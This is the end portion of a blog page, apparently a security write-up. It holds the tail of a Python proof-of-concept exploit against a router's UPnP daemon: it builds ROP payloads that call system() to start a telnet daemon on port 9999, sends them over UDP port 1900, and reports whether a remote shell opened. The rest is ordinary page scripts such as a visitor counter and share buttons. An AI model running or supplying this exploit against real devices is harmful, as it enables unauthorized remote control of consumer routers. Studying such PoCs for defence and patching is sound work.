class="comment">#R7</span></span><br><span class="line"> expayload += <span class="string">'c'</span>*<span class="number">4</span> <span class="comment">#R8</span></span><br><span class="line"> expayload += <span class="string">'d'</span>*<span class="number">4</span> <span class="comment">#R10</span></span><br><span class="line"> expayload += p32(<span class="number">0x1A83C</span>) <span class="comment">#system(string) telnetd -l</span></span><br><span class="line"> <span class="keyword">return</span> expayload</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">conn</span><span class="params">(ip)</span>:</span></span><br><span class="line"> s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line"> s.connect((ip, <span class="number">1900</span>))</span><br><span class="line"> <span class="keyword">return</span> s</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] Send Proof Of Concept payload"</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkExploit</span><span class="params">(ip)</span>:</span></span><br><span class="line"> soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> ret = soc.connect((ip,<span class="number">9999</span>))</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__==<span class="string">"__main__"</span>:</span><br><span class="line"> ip = sys.argv[<span class="number">1</span>]</span><br><span class="line"> libc_addr = sys.argv[<span class="number">2</span>]</span><br><span class="line"> banner()</span><br><span class="line"> payload1 = makpayload1()</span><br><span class="line"> payload2 = makpayload2(libc_addr)</span><br><span class="line"> s = conn(ip)</span><br><span class="line"> s.send(<span class="string">'a\x00'</span>+payload1) <span class="comment">#expayload is rop gadget</span></span><br><span class="line"> s.send(payload2)</span><br><span class="line"> time.sleep(<span class="number">5</span>)</span><br><span class="line"> <span class="keyword">if</span> checkExploit(ip):</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] Exploit Success"</span></span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] You can access telnet %s 9999"</span>%ip</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] Need to Existed Address cross each other"</span></span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] You need to reboot or execute upnpd daemon to execute upnpd"</span></span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] To exploit reexecute upnpd, description"</span></span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] Access http://%s/debug.htm and enable telnet"</span>%ip</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"[*] then, You can access telnet. execute upnpd(just typing upnpd)"</span></span><br><span class="line"> s.close()</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"""\n[*] Done ...\n"""</span></span><br></pre></td></tr></table></figure>
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|
||
var query = new AV.Query(Counter);
|
||
var entries = [];
|
||
var $visitors = $(".leancloud_visitors");
|
||
|
||
$visitors.each(function () {
|
||
entries.push( $(this).attr("id").trim() );
|
||
});
|
||
|
||
query.containedIn('url', entries);
|
||
query.find()
|
||
.done(function (results) {
|
||
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
|
||
|
||
if (results.length === 0) {
|
||
$visitors.find(COUNT_CONTAINER_REF).text(0);
|
||
return;
|
||
}
|
||
|
||
for (var i = 0; i < results.length; i++) {
|
||
var item = results[i];
|
||
var url = item.get('url');
|
||
var time = item.get('time');
|
||
var element = document.getElementById(url);
|
||
|
||
$(element).find(COUNT_CONTAINER_REF).text(time);
|
||
}
|
||
for(var i = 0; i < entries.length; i++) {
|
||
var url = entries[i];
|
||
var element = document.getElementById(url);
|
||
var countSpan = $(element).find(COUNT_CONTAINER_REF);
|
||
if( countSpan.text() == '') {
|
||
countSpan.text(0);
|
||
}
|
||
}
|
||
})
|
||
.fail(function (object, error) {
|
||
console.log("Error: " + error.code + " " + error.message);
|
||
});
|
||
}
|
||
|
||
function addCount(Counter) {
|
||
var $visitors = $(".leancloud_visitors");
|
||
var url = $visitors.attr('id').trim();
|
||
var title = $visitors.attr('data-flag-title').trim();
|
||
var query = new AV.Query(Counter);
|
||
|
||
query.equalTo("url", url);
|
||
query.find({
|
||
success: function(results) {
|
||
if (results.length > 0) {
|
||
var counter = results[0];
|
||
counter.fetchWhenSave(true);
|
||
counter.increment("time");
|
||
counter.save(null, {
|
||
success: function(counter) {
|
||
var $element = $(document.getElementById(url));
|
||
$element.find('.leancloud-visitors-count').text(counter.get('time'));
|
||
},
|
||
error: function(counter, error) {
|
||
console.log('Failed to save Visitor num, with error message: ' + error.message);
|
||
}
|
||
});
|
||
} else {
|
||
var newcounter = new Counter();
|
||
/* Set ACL */
|
||
var acl = new AV.ACL();
|
||
acl.setPublicReadAccess(true);
|
||
acl.setPublicWriteAccess(true);
|
||
newcounter.setACL(acl);
|
||
/* End Set ACL */
|
||
newcounter.set("title", title);
|
||
newcounter.set("url", url);
|
||
newcounter.set("time", 1);
|
||
newcounter.save(null, {
|
||
success: function(newcounter) {
|
||
var $element = $(document.getElementById(url));
|
||
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
|
||
},
|
||
error: function(newcounter, error) {
|
||
console.log('Failed to create');
|
||
}
|
||
});
|
||
}
|
||
},
|
||
error: function(error) {
|
||
console.log('Error:' + error.code + " " + error.message);
|
||
}
|
||
});
|
||
}
|
||
|
||
$(function() {
|
||
var Counter = AV.Object.extend("Counter");
|
||
if ($('.leancloud_visitors').length == 1) {
|
||
addCount(Counter);
|
||
} else if ($('.post-title-link').length > 1) {
|
||
showTime(Counter);
|
||
}
|
||
});
|
||
</script>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<script>
|
||
(function(){
|
||
var bp = document.createElement('script');
|
||
var curProtocol = window.location.protocol.split(':')[0];
|
||
if (curProtocol === 'https') {
|
||
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
|
||
}
|
||
else {
|
||
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
|
||
}
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(bp, s);
|
||
})();
|
||
</script>
|
||
|
||
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="/lib/needsharebutton/needsharebutton.css">
|
||
|
||
|
||
|
||
<script src="/lib/needsharebutton/needsharebutton.js"></script>
|
||
|
||
<script>
|
||
|
||
pbOptions = {};
|
||
|
||
pbOptions.iconStyle = "box";
|
||
|
||
pbOptions.boxForm = "horizontal";
|
||
|
||
pbOptions.position = "bottomCenter";
|
||
|
||
pbOptions.networks = "Weibo,Wechat,Douban,QQZone,Twitter,Facebook";
|
||
|
||
new needShareButton('#needsharebutton-postbottom', pbOptions);
|
||
|
||
|
||
flOptions = {};
|
||
|
||
flOptions.iconStyle = "box";
|
||
|
||
flOptions.boxForm = "horizontal";
|
||
|
||
flOptions.position = "middleRight";
|
||
|
||
flOptions.networks = "Weibo,Wechat,Douban,QQZone,Twitter,Facebook";
|
||
|
||
new needShareButton('#needsharebutton-float', flOptions);
|
||
|
||
</script>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<script type="text/javascript" src="/js/src/js.cookie.js?v=5.1.4"></script>
|
||
<script type="text/javascript" src="/js/src/scroll-cookie.js?v=5.1.4"></script>
|
||
|
||
|
||
|
||
|
||
</body>
|
||
</html>
|